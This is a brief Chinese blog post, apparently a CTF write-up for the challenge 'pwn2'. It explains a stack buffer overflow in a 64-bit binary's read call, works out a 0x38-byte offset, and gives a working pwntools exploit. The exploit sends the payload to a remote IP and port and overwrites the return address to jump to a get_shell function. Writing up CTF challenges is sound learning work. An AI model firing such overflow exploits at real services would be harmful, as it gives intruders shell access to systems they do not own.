pwn-pwn2

无保护的64位程序

然后丢到IDA看看  F5查看伪代码

main函数后面还有一个get_shell的函数

 

在main函数中read存在栈溢出漏洞,我们可以填充一些无意义的字符,等到字符的缓冲区满了,函数要返回的时候,我们输入我们的get_shell函数的入口地址,那么系统就会执行我们的get_shell函数

问题在于我们要输入多少字符

 

双击read函数中间的&s

 

 我们可以算一下需要偏移距离 0x08-(0x30)=0x38个字符 也就是十进制的56,往read函数填充56个字符,在输入get_shell的地址,系统就会执行get_shell函数

那么get_shell函数的地址是多少

构造exp

from pwn import *
r=remote('114.116.54.89',10003) 
payload='a'*0x38+p64(0x400751)  
r.sendline(payload)
r.interactive()      

执行

 

posted @ 2019-10-09 20:59  高诺琪  阅读(482)  评论(0编辑  收藏  举报